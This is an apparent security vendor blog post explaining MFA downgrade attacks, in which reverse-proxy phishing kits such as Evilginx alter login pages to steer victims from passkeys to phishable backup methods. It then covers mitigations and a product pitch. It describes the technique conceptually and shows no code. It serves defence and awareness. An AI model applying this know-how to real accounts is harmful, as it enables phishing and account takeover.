MFA downgrade (also known as auth downgrade) is an increasingly common technique used by attackers to bypass phishing-resistant authentication methods registered to an account — simply by selecting an alternative (phishable) method.
MFA downgrade (also known as auth downgrade) is an increasingly common technique used by attackers to bypass phishing-resistant authentication methods registered to an account — simply by selecting an alternative (phishable) method.
As awareness grows around many MFA methods being “phishable” (i.e. not phishing resistant), passwordless authentication methods are being increasingly advocated.
This is a good thing. The most commonly used MFA factors alongside a password are things like SMS codes, push notifications, and app-based OTP are routinely bypassed, with modern reverse-proxy phishing kits the most common method.
MFA-bypassing Attacker-in-the-Middle phishing kits are the standard choice for attackers today. These work by intercepting the authenticated session created when a victim enters their password and completes an MFA check. To do this, the phishing website simply passes messages between the user and the real website — hence “Attacker-in-the-Middle”.
Unlike username and password logins protected by MFA factors such as (all of which have proven to be routinely bypassable) passwordless logins can’t be phished because there is no code for the user to enter into the proxied phishing site. Often referred to as a “passkey”, passwordless authentication typically consists of a hardware security device that is built-into your laptop (e.g. the fingerprint sensor on a laptop) or something you plug into your device (e.g. a Yubikey).
However, attackers have realized that even as these new phishing resistant methods are starting to become used, most users still have alternative MFA methods active. The attacker can then do what’s called a downgrade attack.
Downgrade attacks 101
When conducting an Attacker-in-the-Middle phishing attack, the attacker doesn’t need to relay 100% of the messages accurately. Instead, they can alter some of them. The app might ask the user “You need to MFA — do you want to use your passkey, or your backup authenticator code?”, but the phishing website might modify this page to say “You need to MFA — use your backup authenticator code” not giving you the option to use your secure passkey. This is called a downgrade attack.
This can also be applied to accounts that use SSO as the default login method. In this scenario, the phish kit can select a backup username and password option to allow the phishing attack to proceed.
So, you have a situation where even if a phishing-resistant login method exists, the presence of a less secure backup method means the account is still vulnerable to phishing attacks.
These attacks are effective across a number of sites and login methods that support passkey-based logins, for example, Windows Hello, Okta FastPass, and Google Workspace. As an example, here’s a link to a custom phishlet for Evilginx targeting Windows Hello for Business. A small caveat is that changes made by Microsoft have since broken this plugin, but we were able to write our own custom phishlet to achieve the same outcome.
MFA downgrade in action
Check out the video below to see an example of using Evilginx with a custom phishlet to downgrade authentication for a Microsoft account using Windows Hello.
We’ve encountered similar functionality in criminal phishing platforms we’ve investigated such as Tycoon — in this case, targeting Google accounts. This snippet is notable in that it includes JavaScript to abuse UI features to bypass passkeys.
Mitigations (and challenges)
MFA downgrade is made possible by the existence of backup authentication methods. So the obvious solution is to remove backup/unused login and MFA methods from your accounts, ensuring you’re accessing apps using SSO from a hardened Identity Provider (IdP) account (e.g. Okta, Entra, Google Workspace).
In the ideal world, you’d be:
Using only one IdP account, which you access via passkey, with no backup methods.
Accessing all business apps using SSO from your locked-down IdP account.
The reality is way different, though. Because going totally passwordless is hard. It requires a large investment of time, money, and training for end-users. You’ll find many cautionary tales of companies starting on their passkey adoption journey and ultimately failing to make it a reality. This is largely because:
In environments with a mix of older and newer infrastructure, it can be challenging to get complete coverage.
Not every device comes with an in-built biometric identification method, so you need to use a second device — which employees may struggle with (especially when they lose it and aren’t familiar with how to regain account access).
Most apps don’t allow you to log in directly with a passkey, meaning you need to SSO from your IdP account. But many apps don’t support every preferred SSO provider, and fail to provide SAML support, so there can be gaps.
And ultimately, because of the self-service, product-led growth fuelled nature of most online services today, it’s easy for users to slip back into using passwords — and hard for security teams to find and remove them (particularly if an app isn’t centrally managed). And the level of support that different apps provide users and administrators to secure how they access their services varies significantly.
Most apps make removing phishable authentication hard
While some providers are taking steps to go passwordless by default, which makes it easier to remove passwords (e.g. Microsoft recently made a big deal of its desire to get rid of passwords), the quality of identity security management functionality varies significantly from app to app.
Many apps default to the most recently used or strongest login method, but very few automatically lock you in to using the strongest method available. Most of the time, these kinds of controls also need to be configured in the app — which can be challenging if your security team doesn’t manage it (or simply isn’t aware of it).
We wrote about the big variance in app identity security controls in a recent blog post.
Finally, configuring MFA is often an additive process — you start by adding a phone number, then you add an authenticator app or a passkey. Just like we find that most accounts with SSO also have a password login configured (also known as ghost logins), most accounts with MFA typically have multiple methods attached to their account.
The result is that even if you can successfully lock down a handful of apps, many more will continue to be susceptible to phishing attacks using commonly available downgrade functionality. And as attackers diversify the apps they target (such as these recent examples targeting Onfido and MailChimp), this becomes increasingly likely.
Conditional access is a useful mitigation if configured properly, but only on apps which support it
Conditional access policies are a useful last line of defense against account takeover attacks by denying logins that don't meet certain criteria, even if they user is able to authenticate. In larger IdP platforms that typically support more granular conditional access policies, this is a useful addition when configured correctly. However, many apps simply don't support conditional access, so will be vulnerable to attackers targeting them directly (as opposed to first logging into e.g. Microsoft or Google, and then accessing downstream apps via SSO).
That said, locking down your core IdP platforms with robust conditional access should be a top priority for security teams. Useful policies that should be configured include:
Limiting logins to domain-joined devices.
Set phishing-resistant MFA as required.
(Where possible) limit logins to trusted IP ranges.
Tackling MFA downgrade with Push Security
Phishing-resistant authentication methods like passkeys are key to the future of enterprise identity security, but organizations need to recognize that adopting passkeys isn’t a silver bullet. Ensuring that passkeys are the only authentication method supported by your business apps is no mean feat, considering most organizations are using hundreds of them — all with their own specific ways of handling and administering identities.
That’s why we support a layered defense, providing last-mile protection by:
Intercepting and blocking phishing attacks in the browser to prevent AiTM attacks using downgrade techniques.
Identifying backup MFA and login methods across the business apps your employees use, so they can be removed (individually or through app-level configuration changes).
Here’s how it works.
Further reading
MFA downgrade is just one method of getting into an otherwise locked-down account. Attackers are also finding ways to bypass the standard authentication process entirely, through:
App-specific password phishing, where attackers can abuse functionality designed to enable users to log into apps that don’t support modern authentication. (Read the article for more information here).
Consent phishing, which sees the victim accept OAuth scopes for an attacker-controlled app integration granting access to the account without needing to directly compromise it. (You can read more about recent examples here.)
Device code phishing, functionally very similar to consent phishing but involving the victim entering a code for authorization.
Cross-IdP impersonation, which sees the attacker register a new IdP connected to the victim’s email account that can be used to access connected apps via SSO without directly compromising the primary IdP. (You can read more about this here.)
Learn more
Push Security’s browser-based security platform provides comprehensive identity attack detection and response capabilities against techniques like AiTM phishing, credential stuffing, password spraying and session hijacking using stolen session tokens. You can also use Push to find and fix identity vulnerabilities across every app that your employees use, like: ghost logins; SSO coverage gaps; MFA gaps; weak, breached and reused passwords; risky OAuth integrations; and more.
If you want to learn more about how Push helps you to detect and defeat common identity attack techniques, book some time with one of our team for a live demo.
